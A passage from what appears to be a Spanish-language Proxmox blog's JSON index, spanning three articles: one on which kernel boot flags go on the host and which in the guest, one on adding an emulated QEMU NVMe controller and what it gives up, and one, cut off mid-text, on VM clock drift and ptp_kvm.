ruido.\nEn el host es una cuestión de criterio, y depende de qué ruido estés persiguiendo en realidad. El sobreaprovisionamiento hambrea a los invitados, no al kernel del host — las CPU físicas del host siguen tomando interrupciones por muy llenas que estén las VM. Así que el ruido de log que lanza un hipervisor ocupado son abrumadoramente mensajes de soft lockup y de bloqueo RCU, no informes de hard-lockup por NMI. Si ese es el ruido, nmi_watchdog=0 no lo silenciará, y softlockup_panic=0 tampoco — eso detiene el pánico, no los mensajes.\nLos mandos dirigidos son:\nwatchdog_thresh=30 # hard 30s, soft 60s — scale to taste nowatchdog # honest single flag: disables both detectors sysctl -w kernel.soft_watchdog=0 # runtime, keeps hard-lockup detection Hay una razón aparte y mejor para desactivar el detector de hard lockup en un host ocupado, que no tiene nada que ver con el ruido: consume un contador de rendimiento de hardware por CPU. Por eso el parámetro acepta rNNN para configurar un evento de rendimiento en bruto. Si estás haciendo perfilado basado en PMU, o corriendo una máquina deliberadamente sobreaprovisionada donde ya has aceptado la varianza de latencia como el precio de la densidad, devolver ese contador es un trato razonable — y los pequeños atascos a los que conscientemente te has apuntado no son incidentes.\nSolo toma la decisión por esa razón y no por la razón del ruido, porque solo una de ellas es cierta.\nconsoleblank=0 no hace nada. El kernel documenta el tiempo de espera del blanqueo de consola como «A value of 0 disables the blank timer. Defaults to 0.» — un valor de 0 desactiva el temporizador de blanqueo; por defecto es 0. Ya está apagado. Inofensivo, pero es el segundo parámetro en circulación común que no tiene efecto, y llevarlo hace que una línea parezca meditada cuando está copiada.\nReferencia rápida: dónde va cada flag Flag Host Invitado Notas iommu=pt sí no El host posee el IOMMU. Solo aplica en un invitado si corres passthrough anidado con un vIOMMU amd_iommu=pgtbl_v2 sí no Dominios DMA-API del host. Verifica que conseguiste v2 y no la vuelta a v1 amd_iommu=on — — No es una opción válida. El kernel registra «Unknown option - \u0026lsquo;on\u0026rsquo;» pcie_acs_override=… sí no Parche de Proxmox, solo topología del host. Debilita el aislamiento por diseño pcie_aspm=off sí no No hay enlaces PCIe reales en un invitado; el host posee el enlace físico pci=pcie_bus_perf sí no de forma fiable El host pone el MPS en el cable. Usa pcie_bus_safe en su lugar si los dispositivos llegan sobre USB4 processor.max_cstate=1 sí no Los estados de reposo reales son del host. Añade intel_idle.max_cstate=1 en Intel amd_pstate=disable sí no Los invitados no controlan la frecuencia de la CPU cpuidle.off=1 con cuidado sí Gratis en un invitado. En el host cuesta margen de boost y se solapa con max_cstate nmi_watchdog=0 criterio sí Correcto en un invitado. En el host, hazlo por el contador PMU, no por el ruido softlockup_panic=0 no sí Los atascos del invitado son a menudo del planificador del host. Suele ser ya el valor por defecto consoleblank=0 — — No hace nada. El valor por defecto del kernel ya es 0 mitigations=off ambos ambos Válido en cualquiera, cálculo de riesgo distinto: fugas de invitado a host en el host, aislamiento de procesos en el invitado default_hugepagesz + hugepages= ambos ambos Host: respaldar la memoria de la VM. Invitado: una carga dentro de la VM que las quiere. Propósitos distintos, mismos flags watchdog_thresh= / nowatchdog ambos ambos Host: acallar atascos que aceptaste. Invitado: el detector nunca fue de fiar Tres van genuinamente en ambos lados, y vale la pena ser exacto en que «ambos» no significa «por la misma razón»:\nmitigations=off en el host va de fugas de invitado a host y de invitado a invitado. Dentro de un invitado va del aislamiento de procesos dentro de esa VM. Puedes razonablemente desactivarlo en un sitio y no en el otro. Las hugepages en el host respaldan la RAM del invitado; en un invitado respaldan una aplicación. Reservarlas dos veces para la misma memoria es un desperdicio, así que decide qué capa las quiere. El ajuste del watchdog es una decisión de ruido en el host y una decisión de corrección en el invitado. Todo lo demás es de un lado o del otro, y dos de ellos no son elecciones en absoluto.\nLas dos líneas Host, en una máquina AMD haciendo passthrough, de un solo inquilino:\nGRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet amd_iommu=pgtbl_v2 iommu=pt pcie_acs_override=downstream,multifunction pcie_aspm=off pci=pcie_bus_perf default_hugepagesz=1G hugepages=64 processor.max_cstate=1 amd_pstate=disable mitigations=off\u0026#34; Cambia pci=pcie_bus_perf por pcie_bus_safe si algo llega sobre USB4. Quita mitigations=off si los invitados no son todos tuyos. En Intel, intel_iommu=on reemplaza los flags de AMD e intel_idle.max_cstate=1 se une al tope de C-state.\nInvitado Linux:\nGRUB_CMDLINE_LINUX_DEFAULT=\u0026#34;quiet nmi_watchdog=0 softlockup_panic=0 cpuidle.off=1\u0026#34; Y deja kvm-clock en paz en el invitado — no fuerces tsc ni hpet. El reloj paravirtual existe precisamente porque los contadores no son tuyos. Ese es todo el argumento de el artículo de la medición de tiempo en la VM.\nQué borrar Si heredaste una línea de un post de foro, estas dos son lo primero que quitar, porque no te cuestan nada y prueban que la línea nunca se probó:\namd_iommu=on — no es una opción válida; el kernel registra «Unknown option - \u0026lsquo;on\u0026rsquo;» y sigue consoleblank=0 — ya es el valor por defecto Y comprueba el resto contra /proc/cmdline después de un reinicio. Cada flag de esa línea debería ser uno del que puedas nombrar una razón.\nSi no puedes decir qué hace un flag, no es ajuste. Es superstición. Y lo copiará en la siguiente build alguien que se fía de ti.\nReferencias Linux kernel — los parámetros de la línea de comandos del kernel — mitigations=, default_hugepagesz=, hugepages=, watchdog_thresh=, nowatchdog, consoleblank=, processor.max_cstate=, amd_pstate=, amd_iommu= y las políticas pci=pcie_bus_* Fuente del kernel Linux — drivers/iommu/amd/init.c — parse_amd_iommu_options(), y la comprobación de capacidad de tabla de páginas v2 que recae en v1 Fuente del kernel Linux — arch/x86/kernel/pci-dma.c — iommu=pt llamando a iommu_set_default_passthrough() Linux kernel — Thunderbolt — niveles de seguridad, y los dispositivos conectados como maestros de DMA Proxmox VE — administración del sistema — proxmox-boot-tool status, editar la línea de comandos del kernel para systemd-boot frente a GRUB ","permalink":"https://blogs.damiendye.uk/es/proxmox/kernel-boot-flags-host-guest/","summary":"La mayoría de las líneas de ajuste de Proxmox que encuentras en internet son un solo bloque de flags de kernel. La mitad van en el hipervisor, la mitad van dentro del invitado, dos de las populares no hacen nada en absoluto, y unas pocas cambian de significado según de qué lado de la frontera caigan.","title":"Dos líneas de arranque — qué flags de kernel van en un host Proxmox, y cuáles van en el invitado"},{"content":"Por qué querrías uno QEMU puede emular una controladora NVMe de verdad — no un dispositivo paravirtual que necesita un driver que tú suministras, sino una controladora NVMe PCIe que un invitado reconoce como un SSD normal y conduce con el soporte NVMe que ya tiene.\nEse es todo el atractivo, y vale más de lo que suena.\nLinux lleva años con un driver nvme de serie. Windows entrega stornvme desde Windows 8.1 y Server 2012 R2. Así que un invitado arranca, enumera una controladora NVMe PCIe, carga su propio driver y encuentra un disco. Sin ISO de VirtIO, sin inyección de drivers en el momento de la instalación, y sin pantalla de «no se han encontrado unidades» a mitad de un instalador de Windows.\nCualquiera que se haya quedado mirando esa pantalla, con la ISO de VirtIO montada y el instalador todavía insistiendo en que no hay discos, verá el atractivo de inmediato.\nLa segunda razón es que se comporta como NVMe hasta arriba. nvme-cli funciona. Los namespaces son reales. Los formatos LBA, los bytes de metadatos y la información de protección son todos configurables. Lo que lo hace un sitio muy bueno para practicar las operaciones que no deberías estar practicando en hardware que guarda datos.\nCómo añadir uno Proxmox no tiene casilla en la GUI ni clave de configuración para esto. Es un dispositivo QEMU en bruto, así que va en args: en /etc/pve/qemu-server/\u0026lt;vmid\u0026gt;.conf.\nLa documentación de QEMU da el par mínimo: un disco de respaldo sin interfaz, y la controladora que lo consume. Editado directamente en /etc/pve/qemu-server/\u0026lt;vmid\u0026gt;.conf, sin comillas:\nargs: -drive file=/var/lib/vz/images/100/nvm.img,if=none,id=nvmidentifier -device nvme,serial=LAB-NVME-01,drive=nvmidentifier if=none importa: le dice a QEMU que no adjunte el disco a una controladora por defecto, porque la línea -device nvme va a reclamarlo. El id= del disco y el drive= del dispositivo tienen que coincidir. Ese emparejamiento es lo que une las dos mitades.\nEl serial= es obligatorio; QEMU se niega a arrancar la VM sin uno. Elige algo que reconozcas, porque es exactamente lo que el invitado devuelve en nvme list y smartctl, y «cuál de estas cuatro unidades virtuales idénticas es cuál» es una pregunta que acabarás haciéndote.\nEntrecomillar: la parte que pilla a todos Si entrecomillas esa cadena depende de dónde la estés escribiendo, y equivocarte de sentido es la razón más común de que uno de estos falle al primer intento.\nProxmox almacena el valor de args: y luego lo parte con Text::ParseWords::shellwords. Así que en el fichero de configuración, las comillas se respetan y se quitan. Una cadena entrecomillada por completo se convierte en un único argumento:\n# WRONG in the config file — collapses to one argv element QEMU cannot parse args: \u0026#34;-drive file=…,if=none,id=nvmidentifier -device nvme,serial=…,drive=nvmidentifier\u0026#34; Pasada por shellwords, eso da exactamente un elemento. Sin comillas, la misma línea da los cuatro que QEMU de verdad necesita: -drive, su bloque de parámetros, -device, su bloque de parámetros.\nEn la línea de comandos es al revés, porque ahí estás entrecomillando para tu shell, no para Proxmox. Aquí las comillas son obligatorias, y lo que se almacena en la configuración es el valor sin comillas:\nqm set 100 --args \u0026#34;-drive file=/var/lib/vz/images/100/nvm.img,if=none,id=nvmidentifier -device nvme,serial=LAB-NVME-01,drive=nvmidentifier\u0026#34; Los dos son correctos. Solo que no son intercambiables. Si construyes la línea con qm set, comprueba el resultado con qm config 100 después y lo verás almacenado desnudo. Esa es la forma que quiere el fichero de configuración.\nCrea la imagen de respaldo primero si no existe:\nqemu-img create -f raw /var/lib/vz/images/100/nvm.img 32G Más de un namespace Para cualquier cosa más allá de un solo disco, separa la controladora de sus namespaces:\n-device nvme,id=nvme-ctrl-0,serial=deadbeef -drive file=nvm-1.img,if=none,id=nvm-1 -device nvme-ns,drive=nvm-1 Los identificadores de namespace se asignan desde el 1 hacia arriba automáticamente. Esta es la configuración que hace el dispositivo genuinamente útil para aprender, porque la gestión de namespaces es la parte de NVMe que la mayoría de la gente nunca llega a tocar.\nUn namespace virtual 4Kn El namespace toma las propiedades habituales de tamaño de bloque, y QEMU deriva el tamaño de datos LBA directamente de ellas. hw/nvme/ns.c calcula el exponente de formato como ds = 31 - clz32(ns-\u0026gt;blkconf.logical_block_size). Así que esto te da un namespace 4K-nativo como es debido:\n-device nvme-ns,drive=nvm-1,logical_block_size=4096,physical_block_size=4096 El dispositivo de namespace también acepta ms para bytes de metadatos por LBA, mset para LBA extendidos, y pi y pif para el tipo de información de protección y el formato de guarda.\nEso es un laboratorio completo para todo lo de el artículo de 4Kn y 512e — bloques lógicos de 512 bytes frente a 4096 bytes, formatos con metadatos, T10-PI — en un dispositivo que puedes destruir tan a menudo como quieras.\nComprueba que quedó Desde dentro del invitado:\nlsblk -o NAME,MODEL,SIZE,LOG-SEC,PHY-SEC nvme list nvme id-ns -H /dev/nvme0n1 | grep -i \u0026#34;lbaf\\|data size\u0026#34; Deberías ver un namespace NVMe real, con los tamaños de bloque que pediste.\nQué renuncias Tres cosas, y las dos primeras no son compromisos de rendimiento. Son eliminaciones de capacidad. Conócelas antes de poner nada en el dispositivo.\nQué gestiona Proxmox, y fuera de qué queda un dispositivo adjuntado por args En la configuración de la VM, como un disco scsi0: local-zfs:vm-100-disk-0,iothread=1 Proxmox posee el volumen y sabe que existe Incluido en las copias de vzdump / PBS sí Instantáneas de PVE sí Migración en vivo sí Redimensionar y Mover disco en la GUI sí Contado en la vista de almacenamiento sí Adjuntado a través de args: -device nvme,drive=nvm1,serial=… un dispositivo QEMU en bruto — PVE no sabe nada de él Incluido en las copias no Instantáneas de PVE no Migración en vivo no Redimensionar y Mover disco no Contado en la vista de almacenamiento no Solo uno de esos «no» se anuncia. La migración en vivo falla con un error, porque QEMU marca el dispositivo como inmigrable. La copia simplemente tiene éxito sin el disco dentro — que es por lo que esto pertenece a tu runbook, no solo a tu memoria. Proxmox gestiona lo que está en la configuración de la VM como un disco. Una controladora adjuntada por args queda fuera de eso, así que cada función construida sobre la capa de almacenamiento simplemente no le aplica. 1. La migración en vivo queda fuera Esto no es una limitación de Proxmox ni un descuido. QEMU declara el dispositivo inmigrable en el propio modelo del dispositivo. De hw/nvme/ctrl.c en QEMU 10.2:\nstatic const VMStateDescription nvme_vmstate = { .name = \u0026#34;nvme\u0026#34;, .unmigratable = 1, }; Tres líneas, y la del medio es toda la historia. La controladora no tiene estado de migración, así que QEMU rechaza la migración en vez de intentarla. Ese es el fallo correcto. Consigues un error, no un invitado que reanuda en otro nodo con un disco confundido.\nHay una segunda razón, independiente, de que no pueda funcionar: Proxmox no sabe que el disco existe. Aunque QEMU pudiera mover el estado del dispositivo, nada en la lógica de migración de PVE dispondría que el volumen de respaldo estuviera disponible en el destino.\nConviene vigilarlo, sin embargo: la rama de desarrollo de QEMU ha reemplazado el flag general por una función nvme_set_migration_blockers() que permite la migración y la bloquea solo para funciones concretas. Más de un namespace, por ejemplo, donde el comentario señala «we don\u0026rsquo;t handle this in migration code yet» — todavía no lo manejamos en el código de migración. Eso no ha aparecido en una release hasta el 10.2 incluido, así que no te ayuda hoy, pero esta restricción parece probable que se ablande. Comprueba tu propia versión de QEMU en vez de fiarte de un artículo.\n2. Las copias de Proxmox no lo verán vzdump y Proxmox Backup Server hacen copia de los volúmenes que aparecen en la configuración de la VM como discos — scsi0, virtio0, y demás. Un disco adjuntado a través de args: no es uno de esos. Es un dispositivo QEMU en bruto del que PVE no sabe nada.\nAsí que la copia corre, informa de éxito, y no contiene el dispositivo.\nEse modo de fallo es peor que un error, porque nada te lo dice. Lo mismo aplica en todo: sin instantáneas de PVE, sin redimensionar el disco desde la GUI, sin Mover disco, sin contabilidad en la vista de almacenamiento. Si creaste el volumen a través de PVE y luego lo desadjuntaste, puede que PVE tampoco lo limpie. Un huérfano esperando a confundir a alguien más adelante.\nSi van a vivir datos en uno de estos, hazles copia desde dentro del invitado, y anota en algún sitio que el hipervisor no lo está cubriendo.\n3. No es más rápido que VirtIO SCSI Este sorprende a la gente, porque «NVMe» se lee como una función de rendimiento. Aquí no lo es.\nVirtIO SCSI y VirtIO block son paravirtuales: el driver del invitado y el hipervisor comparten un búfer en anillo diseñado para exactamente este trabajo, y el invitado sabe que está hablando con un hipervisor.\nLa controladora NVMe emulada es lo opuesto por diseño. Presenta registros NVMe reales, así que el invitado la programa como si fuera hardware. Cada escritura de doorbell es un acceso MMIO que se atrapa en el hipervisor. Correcto, y más caro por IO que poner un descriptor en un anillo.\nUn anillo compartido frente a registros emulados invitado │ hipervisor VirtIO SCSI — paravirtual driver del invitado sabe que es una VM anillo compartido ambos extremos lo entienden capa de bloques del host 1 aviso Un descriptor va en el anillo y se notifica al host. El anillo cruza la frontera a propósito. NVMe emulada — registros reales driver del invitado cree que es hardware registros NVMe doorbells, colas, MMIO capa de bloques del host cada escritura de doorbell se atrapa atrapar + emular, por IO El invitado hace exactamente lo que le haría a una controladora física, que es el objeto — su propio driver funciona sin modificar. Es también por lo que esto es una función de compatibilidad y no de rendimiento. La fusión de interrupciones no se soporta y está apagada por defecto: comportamiento de hardware correcto, a costa de emular hardware. El camino paravirtual es un anillo que el invitado y el host entienden ambos. El camino emulado hace que el invitado conduzca registros, y cada escritura de doorbell es una trampa — comportamiento de hardware exacto, a coste de emulación de hardware. La propia documentación de QEMU es franca también sobre las asperezas del dispositivo: la fusión de interrupciones «is not supported and is disabled by default» — no se soporta y está desactivada por defecto — y los números de contabilidad en la página de log SMART/Health «are reset when the device is power cycled» — se reinician cuando se apaga y enciende el dispositivo.\nNada de eso lo hace lento en términos absolutos. Es perfectamente usable. Solo significa que nunca deberías elegirlo esperando más rendimiento del que te da VirtIO SCSI. Elígelo por el driver, o por la semántica NVMe.\nDónde se gana de verdad su sitio Instalar un invitado sin medios VirtIO. Un instalador de Windows que no puede ver un disco VirtIO SCSI verá uno NVMe, porque el driver ya está en la imagen. Instala sobre él, y luego decide si cambiar a VirtIO después. Appliances e imágenes que no controlas. Cualquier cosa entregada como una imagen fija que carece de drivers VirtIO, y que preferirías no reconstruir. Aprender y trabajo de laboratorio. nvme format --lbaf, la creación y adjunción de namespaces, los metadatos y la información de protección — las operaciones que son destructivas y dependientes del fabricante en hardware real son gratis aquí. Esta es la forma más segura de construir la memoria muscular antes de tocar un disco que importa. Reproducir la topología de otro. Si estás depurando la disposición NVMe de un cliente, una controladora emulada con namespaces y tamaños de bloque coincidentes es un bucle mucho más rápido que pedir prestado su hardware. Qué usar en su lugar en producción Para una VM que necesita rendimiento, funciones de PVE, y una vida tranquila: VirtIO SCSI single, con iothread=1, discard=on y ssd=1, en cache=none. Ese es el arreglo que mantiene funcionando la migración en vivo, las copias, las instantáneas y la vista de almacenamiento, todo.\nPara una VM que necesita ese último puñado de por ciento y puede renunciar a esas funciones a propósito, la respuesta no es un dispositivo NVMe emulado. Es passthrough real, con sus propios compromisos duros, cubierto en el artículo del impuesto del IOMMU.\nEl dispositivo NVMe emulado no está en ninguno de los dos bandos. Por eso, es una herramienta de compatibilidad y de laboratorio, y es muy bueno siendo eso.\nÚsalo para el trabajo en el que es bueno y no te fallará. Pídele que sea una función de rendimiento y te fallará muy rápido.\nReferencias QEMU — emulación NVMe — la sintaxis -drive/-device nvme, nvme-ns para varios namespaces, los parámetros de namespace ms/mset/pi/pif, y las limitaciones declaradas sobre fusión de interrupciones y contabilidad SMART Fuente de QEMU — hw/nvme/ctrl.c — la declaración nvme_vmstate con .unmigratable = 1 en la release 10.2 Fuente de QEMU — hw/nvme/ns.c — el namespace derivando su formato LBA de logical_block_size Proxmox VE — copia y restauración — qué cubre vzdump, y las opciones de copia por volumen que existen para los discos que PVE gestiona Proxmox VE — máquinas virtuales Qemu/KVM — VirtIO SCSI, iothread, discard y las opciones de disco soportadas ","permalink":"https://blogs.damiendye.uk/es/proxmox/virtual-nvme-proxmox/","summary":"QEMU puede emular una controladora NVMe real, así que el invitado usa su propio driver NVMe de serie sin necesidad de medios VirtIO. También es inmigrable por diseño, invisible para las copias de Proxmox, y no más rápido que VirtIO SCSI. Aquí tienes cómo añadir uno y cuándo vale la pena.","title":"Un dispositivo NVMe virtual en Proxmox — y las tres cosas a las que renuncias"},{"content":"La suposición que hace todo reloj El reloj de un ordenador funciona contando algo regular y confiando en que ese algo sigue contando. Un cristal oscila, un contador se incrementa, y el software calcula cuánto tiempo ha pasado.\nLa virtualización rompe la parte de confiar.\nLa documentación KVM del kernel sobre la medida del tiempo resume el problema en una frase: «the virtual operating system does not run with 100% usage of the CPU, despite the fact that it may very well make that assumption» — el sistema operativo virtual no corre usando el 100 % de la CPU, aunque bien puede suponer que sí. Todo lo que sigue se deriva de ahí.\nTu vCPU no está siempre corriendo Una vCPU es un hilo en el host. Corre cuando el planificador del host lo dice.\nCuando no corre, el invitado no está simplemente ocioso — está ausente. No puede contar, no puede atender una interrupción de temporizador, y no tiene forma de saber cuánto tiempo estuvo fuera. El host lo contabiliza como steal time, que es el nombre honesto para «tiempo que te ocurrió a ti en vez de servirte».\nLas interrupciones de temporizador son donde esto duele más. Un invitado que pide un tick periódico le está pidiendo al host que entregue interrupciones a cadencia fija, y el host no siempre puede obedecer. De nuevo la documentación del kernel: «the host virtualization engine may not be able to deliver the proper number of interrupts per second, and so guest time may fall behind» — el motor de virtualización del host puede no ser capaz de entregar el número correcto de interrupciones por segundo, así que la hora del invitado se queda atrás.\nPor qué los ticks de temporizador de un invitado dejan de estar regularmente espaciados Hardware nativo — la CPU es siempre tuya en marcha ticks de temporizador, regularmente espaciados — contarlos te da la hora En una VM — la vCPU es un hilo en el planificador de otro en marcha desplanificado desplanificado los ticks que tocaban durante los huecos llegan tarde, a montones, o no llegan El invitado no ve los periodos punteados. Desde dentro, el reloj simplemente produjo menos ticks de los que debía — por eso la documentación del kernel dice que la hora de un invitado «may fall behind» cuando el host no puede entregar las interrupciones que pidió. El host llama a las regiones punteadas steal time. El invitado no las llama nada, porque no estaba ahí. La vista propia del invitado es la fila de abajo: ticks que llegan tarde, ticks que llegan a ráfagas, y huecos que no sabe explicar. Mide tanto el planificador del host como el paso del tiempo. Cuanto más alta la cadencia de tick, peor, y un host sobresuscrito lo empeora todavía más. Por eso también un host cargado degrada la hora de invitados tranquilos. Todos hacen cola para los mismos núcleos físicos.\nLos contadores tampoco son tuyos Si los ticks periódicos no son fiables, la respuesta evidente es leer un contador en su lugar. Eso tiene sus propios problemas.\nEl TSC es el rápido, y la documentación del kernel es franca al respecto: «The TSC is a CPU-local clock in most implementations… the TSCs of different CPUs may start at different times» — el TSC es un reloj local a la CPU en la mayoría de implementaciones, y los TSC de CPU distintas pueden arrancar en momentos distintos. Su cadencia puede variar con los estados de energía del procesador, y en piezas antiguas se detiene por completo cuando el núcleo se pone en reposo. Una vCPU que migra entre núcleos físicos puede por tanto leer un contador que no coincide con el que leyó un microsegundo antes.\nLas alternativas son malas de otra forma. El HPET, el PIT y el temporizador ACPI PM son todos dispositivos emulados, así que cada lectura es una trampa hacia el hipervisor. Correcto, y lo bastante caro como para que un invitado que lea el reloj en un bucle apretado lo note.\nPor eso existen los relojes paravirtuales. En KVM, kvm-clock deja que el host publique su propia medida del tiempo en una estructura compartida que el invitado lee directamente: sin trampa, sin conteo, sin suponer que el invitado estaba despierto. También por eso deberías dejar en paz la clocksource del invitado en vez de forzar tsc o hpet porque un mensaje de foro dijera que era más rápido.\nMigración, instantáneas y suspensión La migración en vivo, la restauración de instantánea y la suspensión/reanudación le hacen todas lo mismo al reloj de un invitado: lo paran, y luego lo arrancan de nuevo en otro sitio.\nLo que el invitado ve no es deriva, es un salto. El reloj valía una cosa, y ahora vale otra, sin nada en medio. Migrar a un host cuyo TSC corre a otra frecuencia lo agrava.\nLos saltos importan porque el software que corrige relojes está hecho para corregir deriva, no teletransporte.\nEsto no es un problema de KVM Es tentador leer todo lo anterior como un defecto de KVM. No lo es.\nTodos los hipervisores llevan un reloj paravirtual, porque todos los hipervisores tienen el mismo problema estructural: KVM tiene kvm-clock, Hyper-V tiene su página TSC de referencia, VMware tiene un contador de rendimiento ficticio más una sincronización por las Tools, Xen tiene su pvclock. Son cuatro implementaciones independientes de un mismo apaño.\nLa conclusión de la propia documentación del kernel es que aquí no hay solución perfecta. Solo compromisos entre precisión, rendimiento y complejidad.\nSi lo prefieres de labios de un fabricante en vez de desarrolladores del kernel, la frontera de soporte de Microsoft para la hora de alta precisión es notablemente franca. Para reclamar una precisión de 50 ms en un sistema Windows virtualizado, uno de los requisitos declarados es que «the one-day average CPU utilization of the host must not exceed 90%» — la utilización media de CPU del host en un día no debe superar el 90 %. Para 1 ms, el host debe mantenerse por debajo del 80 %.\nLéelo otra vez: la precisión del reloj del invitado está documentada como condicionada por lo cargado que esté el host. Eso no es una rareza de Windows, es la misma física que describe la documentación del kernel, puesta por escrito como una frontera de soporte.\nLas tres capas de la medida del tiempo en el invitado, y cuáles posee de verdad Sincronización de hora de pared qué hora es en realidad NTP sobre la red jitter, asimetría, estrato hypercall ptp_kvm pregunta al host directamente Reloj paravirtual el host publica su propia medida del tiempo Todos los hipervisores llevan uno, porque todos tienen este problema: kvm-clock página TSC de Hyper-V VMware pseudo-perf Xen pvclock cuatro implementaciones independientes de un mismo apaño Contadores hardware no son tuyos en una VM TSC HPET PIT temporizador ACPI PM locales a la CPU y de cadencia variable, o emulados — leerlos es una trampa al hipervisor El invitado posee su elección arriba del todo. La capa del medio es el hipervisor prestándole un reloj que sí estuvo corriendo todo el rato. Tres capas, y el invitado solo posee de verdad la de arriba. El reloj paravirtual de cada hipervisor existe para sortear la misma garantía que falta en la capa de debajo. Por qué NTP dentro del invitado es la herramienta equivocada NTP es bueno en aquello para lo que se diseñó: una máquina con un oscilador real que va un poco rápido o lento, corregida midiendo el ida y vuelta hacia un servidor remoto y ajustando suavemente el reloj local.\nCada una de esas suposiciones es frágil en una VM.\nEl oscilador local no está ligeramente mal, está intermitentemente ausente. La medida del ida y vuelta la toma un proceso que puede ser desplanificado entre leer el reloj y enviar el paquete, lo que corrompe la propia medida. Y las correcciones necesarias tras una migración son saltos, que un algoritmo de ajuste gradual maneja mal o rechaza de plano.\nchrony se las apaña mucho mejor que ntpd aquí. Ajusta más rápido, tolera saltos, y es honesto sobre su propia incertidumbre. Pero sigue resolviendo el problema equivocado: tirar de la hora a través de una red desde un servidor de estrato 2 a 20 ms de distancia, cuando la hora correcta está posada en el hipervisor, al otro lado de una simple frontera de memoria.\nLo que obtienes en la práctica es un invitado casi siempre correcto, de vez en cuando desviado decenas o cientos de milisegundos, y nunca del todo capaz de decirte cuál.\nQué rompe de verdad el desfase A nadie le importan los relojes por sí mismos. Le importan cuando algo deja de funcionar.\nKerberos y Active Directory Kerberos depende del tiempo por diseño, porque la validez de un ticket se expresa como una ventana temporal.\nLa documentación del krb5.conf del MIT define clockskew como «the maximum allowable amount of clockskew in seconds that the library will tolerate before assuming that a Kerberos message is invalid» — el desfase máximo en segundos que la biblioteca tolerará antes de dar por inválido un mensaje Kerberos, y el valor por defecto son 300 segundos, cinco minutos.\nCruza eso y la autenticación no se degrada, falla. Como la autenticación de Active Directory es Kerberos, eso significa los inicios de sesión del dominio, net use, las conexiones a SQL Server, Exchange, los recursos compartidos de archivos — todo el lote. Cinco minutos parecen generosos hasta que un invitado retrocede tras una restauración de instantánea.\nTLS Un certificado lleva una ventana de validez: notBefore y notAfter. Un invitado cuyo reloj va atrasado rechazará un certificado emitido esta mañana porque, por lo que él sabe, el certificado aún no es válido. Un invitado cuyo reloj va adelantado rechazará uno que en realidad no ha caducado.\nLa misma aritmética gobierna la frescura de OCSP y CRL, las reclamaciones nbf/exp de los JWT, y los códigos TOTP de la autenticación multifactor, que viven en ventanas de 30 segundos. Un reloj desfasado 45 segundos es una caída de autenticación con un mensaje de error muy confuso.\nCeph Los monitores de Ceph se preocupan por esto más que por casi nada más en la pila, porque su consenso depende de ello.\nEl chequeo de salud MON_CLOCK_SKEW salta cuando «the clocks on hosts running Ceph Monitor daemons are not well-synchronized» — los relojes de los hosts que ejecutan demonios Ceph Monitor no están bien sincronizados. En concreto, cuando el desfase supera mon_clock_drift_allowed. El consejo de la documentación es sincronizar con ntpd o chrony contra varias fuentes, y señala que la sincronización entre monitores importa de forma particular.\nPuedes subir mon_clock_drift_allowed, pero la documentación es clara: tiene que quedar «significantly below the mon_lease interval» — muy por debajo del intervalo mon_lease. Como tal, es un presupuesto pequeño, y gastarlo para tapar un problema de medida del tiempo del hipervisor no es un buen trato.\nTodo lo demás Los registros de varios hosts dejan de correlacionar, lo que convierte la cronología de un incidente en adivinanza. La replicación de bases de datos y el consenso distribuido — etcd, Galera, cualquier cosa que haga arrendamientos de líder — se ponen de mal humor. Las ventanas de copia de seguridad y de supervisión se desalinean de aquello que debían observar.\nLos invitados Windows se desfasan de otra forma Windows merece su propia nota, porque su servicio de tiempo se construyó con otros objetivos y se nota.\nMicrosoft dice sin rodeos que las versiones anteriores a Windows 10 1607 / Server 2016 «can\u0026rsquo;t guarantee highly accurate time» — no pueden garantizar una hora de alta precisión. Lo que el servicio de tiempo de Windows ofrecía en esas versiones era «the necessary time accuracy to satisfy Kerberos version 5 authentication requirements» — la precisión de hora necesaria para satisfacer los requisitos de autenticación de Kerberos versión 5, y una hora «loosely accurate», vagamente precisa, para las máquinas de un mismo bosque AD. Más ajustado que eso quedaba «outside of the design specification… and weren\u0026rsquo;t supported» — fuera de la especificación de diseño, y sin soporte.\nDicho de otro modo, el Windows antiguo aspira a quedarse dentro de la ventana Kerberos de cinco minutos, no a ser exacto. Lo cual va muy bien hasta que algo en tu parque necesita más. Una máquina Windows virtualizada desfasada 90 segundos se autenticará sin rechistar mientras escribe registros que no se pueden correlacionar con nada.\nWindows 10 y Server 2016 en adelante saben hacer 1 s, 50 ms o incluso 1 ms — pero solo bajo las condiciones citadas antes, incluidos los límites de utilización de CPU del host. Microsoft también señala que «anything that introduces network asymmetry, such as a one-way satellite connection or high CPU load on the target system, will negatively influence accuracy» — cualquier cosa que introduzca asimetría de red, como un enlace por satélite unidireccional o una carga de CPU alta en el sistema de destino, perjudicará la precisión. Una vCPU en disputa es una carga de CPU alta en el sistema de destino con otro nombre.\nNo hay ptp_kvm para Windows. Lo que tienes en su lugar:\nLos enlightenments de reloj de Hyper-V. Proxmox ya se los expone a los invitados Windows. PVE::QemuServer::CPUConfig pone hv_time junto a hv_vapic, hv_spinlocks, hv_relaxed y hv_synic. hv_time es el reloj paravirtual, y es el equivalente del lado Windows de kvm-clock. Está activo por defecto para las VM tipadas como Windows; no hay nada que habilitar. El agente invitado de QEMU. Con el agente instalado, el host puede empujar su hora dentro del invitado tras una reanudación o una restauración de instantánea, lo que cubre el caso del salto, el que NTP maneja peor. Elige una sola autoridad. El fallo clásico de Windows en una VM son dos fuentes de tiempo peleándose: la sincronización host-a-invitado y la sincronización por la jerarquía del dominio, ambas corrigiendo el mismo reloj en sentidos contrarios. Para un invitado unido al dominio, deja que gane la jerarquía del dominio y detén al host de empujarle la hora. Para un invitado autónomo, la sincronización por el host va bien. Nunca las dos. Si quieres saber exactamente qué le cuenta tu hipervisor a una VM dada sobre el tiempo, pregúntaselo en vez de adivinar:\n# Everything Proxmox actually passes to QEMU for this VM, including -rtc and CPU flags qm showcmd \u0026lt;vmid\u0026gt; --pretty El arreglo en QEMU/KVM: ptp_kvm Para los invitados Linux en KVM hay una respuesta como es debido, y no es «más servidores NTP».\nptp_kvm deja que el invitado le pregunte al host qué hora es, directamente, a través de un hypercall — KVM_HC_CLOCK_PAIRING en x86, y una llamada de firmware equivalente en arm64. El kernel lo presenta como un dispositivo de reloj hardware PTP, así que desde el espacio de usuario parece cualquier otra fuente de reloj de precisión, y chrony puede usarlo como reloj de referencia.\nLas propiedades que importan:\nSin red. Sin jitter, sin asimetría, sin estrato, sin paquetes. El camino es una frontera de memoria. Por debajo del microsegundo. La precisión la acota el hypercall, no un ida y vuelta a través de un centro de datos. Sortea la parte rota. El invitado no cuenta nada ni estima ningún ida y vuelta. Lee un valor que el host 